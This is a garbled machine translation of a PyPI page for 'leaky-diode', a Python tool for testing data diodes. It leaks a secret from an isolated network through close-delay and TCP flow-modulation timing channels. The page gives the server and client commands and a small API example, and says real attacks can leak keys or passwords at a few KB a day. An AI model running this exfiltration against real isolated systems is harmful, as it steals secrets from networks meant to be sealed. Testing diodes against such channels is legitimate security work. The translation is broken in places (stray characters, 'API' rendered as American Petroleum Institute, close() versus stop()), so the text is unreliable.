漏二极管是一种数据二极管的数据过滤测试工具,使用流量调制和闭合延迟攻击
leaky-diode的Python项目详细描述
漏二极管
Leaky diode是smart数据二极管的数据过滤测试工具,即 支持TCP直通的数据二极管借助于一些侧信道 从孤立的一方。使用的攻击是flow modulation和/或 close delay:
- 在
CLOSE DELAY使用请求一个机密位和 服务器关闭连接以编码位值的时间。(即-10秒 延迟是指0,30秒延迟a 1)
在 - 在
FLOW MODULATION使用tcp流控制机制将机密位编码为 传输速度。例如,如果客户端请求的位是1,则服务器 如果速度为0到100KB/s,则将速度限制为300KB/s。此攻击的优点是 使用单一连接会使检测变得更困难。在
在
安装
下载软件包或克隆存储库,然后安装:
python3 setup.py install
或者使用pypi:
^{pr2}$使用
在隔离端启动服务器:
leaky_server public_ip port 'secret string that needs leaking'
在不可信端,启动客户端并选择其中一个攻击
leaky_client server_ip server_port --mode flow --partial
或者
leaky_client server_ip server_port --mode close --partial
如果不确定的话,只需等待几分钟来接收第一个字节(它是最慢的) 如果它工作正常,则添加--verbose选项,以便在每个接收到的位上打印消息。在
选项
usage: leaky_client [-h][--mode mode][--low_delay delay][--high_delay delay][--low_rate rate][--high_rate rate][--sample_time time][--settle_time time][--partial] host port Leaky Diode is a data exfiltration test tool for data diodes positional arguments: host Remore host address port Remote host port optional arguments: -h, --help Show this help message and exit --mode mode, -m mode Attack mode 'flow' or 'close'(default: flow) --low_delay delay Close delay for low bits (default: 5s)(only Close Mode) --high_delay delay Close delay for high bits (default: 10s)(only Close Mode) --low_rate rate Tx rate for low bits (default: 64 KB/s)(only Flow Mode) --high_rate rate Tx rate for high bits (default: 300 KB/s)(only Flow Mode) --sample_time time Tx rate sampling interval (default: 3.0s)(only Flow Mode) --settle_time time Settle time between sending a bit request and the start of sampling (default: 8.0s)(only Flow Mode) --partial Show partial results each time another byte from the secret is received --verbose Show debugging messages
usage: leaky_server [-h] host port secret_string Leaky Diode is a data exfiltration test tool for data diodes positional arguments: host Remore host address port Remote host port secret_string Attack mode 'flow' or 'close'(default: a secret string) optional arguments: -h, --help Show this help message and exit -v, --verbose Show debugging messages
性能
默认参数下的攻击吞吐量约为1b/min(是的,每分钟一个字节), 您可以通过降低close delay模式中的延迟时间和结算/采样来增加它 flow modulation中的时间(默认值非常保守)
使用此攻击的实际渗出尝试很容易每天泄漏几KB,速度太慢 对于较大的漏洞,但足以针对密钥/密码或选定的用户数据进行有针对性的攻击。在
美国石油学会
也可以将leaky_diode作为一个软件包使用,并在自己的应用程序中包含一个服务器:
- 在
类泄漏服务器(主机、端口、机密、时钟=100,最大连接数=10)
- 在
主机:(str)侦听接口ip地址(“”表示所有)
在 - 在
端口:(int)侦听端口
在 - 在
secret:(bytes)泄漏机密(最大长度65535)
在 - 在
ticks:(int)工作进程用于限制连接的每秒节拍数。在
在 - 在
max_connections:(int)服务器可以处理的最大并发连接。在
在 - 在
start():初始化并启动服务器工作进程
在 - 在
stop():停止服务器及其工作进程
在
- 在
fromleaky_diodeimportLeakyServerleaky_server=LeakyServer('192.168.0.10',9000,b'some secret byte string')leaky_server.start()# Do something else......# Close server before exitleaky_server.close()
托多
- 强化消息分析输入验证(无效长度)
- 使用并发连接来提高渗出速度。在
- 调整流量调制模式发送速度。在
- 调谐关闭延迟模式延迟。在
- 增加CRC的秘密和秘密长度,甚至更好的纠错。在
- 添加恢复功能,这样就不需要一次性获得秘密。在
- 添加一些测试。在
参考文献
- 数据二极管Wikipedia
- 占位符所以我记得发表一篇关于袭击的帖子
- 另一个关于数据二极管的传输和流协议
- 项目
标签: